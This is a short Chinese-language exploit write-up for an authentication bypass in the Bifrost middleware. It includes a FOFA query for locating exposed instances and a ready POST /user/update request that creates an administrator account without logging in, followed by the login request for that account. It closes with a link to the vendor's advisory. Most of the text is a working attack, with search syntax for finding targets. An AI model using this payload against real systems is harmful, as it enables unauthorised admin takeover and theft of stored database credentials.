B6-1Bifrost-PermisssionAC

漏洞描述：

Bifrost 中间件 X-Requested-With 存在身份认证绕过漏洞，未经身份认证的攻击者可未授权创建管理员权限账号，可通过删除请求头实现身份认证绕过，获取环境内配置各种数据库账户密码。

网站图片:

网络测绘:

fofa语法：

FOFA：body=“/dologin” && body=“Bifrost”

漏洞复现:

payload：

POST /user/update HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip

{"UserName":"user","Password":"password","Group":"administrator","Host":""}

效果图:

使用创建的账号密码登录

POST /dologin HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 39
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"UserName":"test","Password":"123456"}

修复建议:

厂商已发布了漏洞修复程序，请及时关注更新:https://github.com/brokercap/Bifrost/security/advisories/GHSA-mxrx-fg8p-5p5j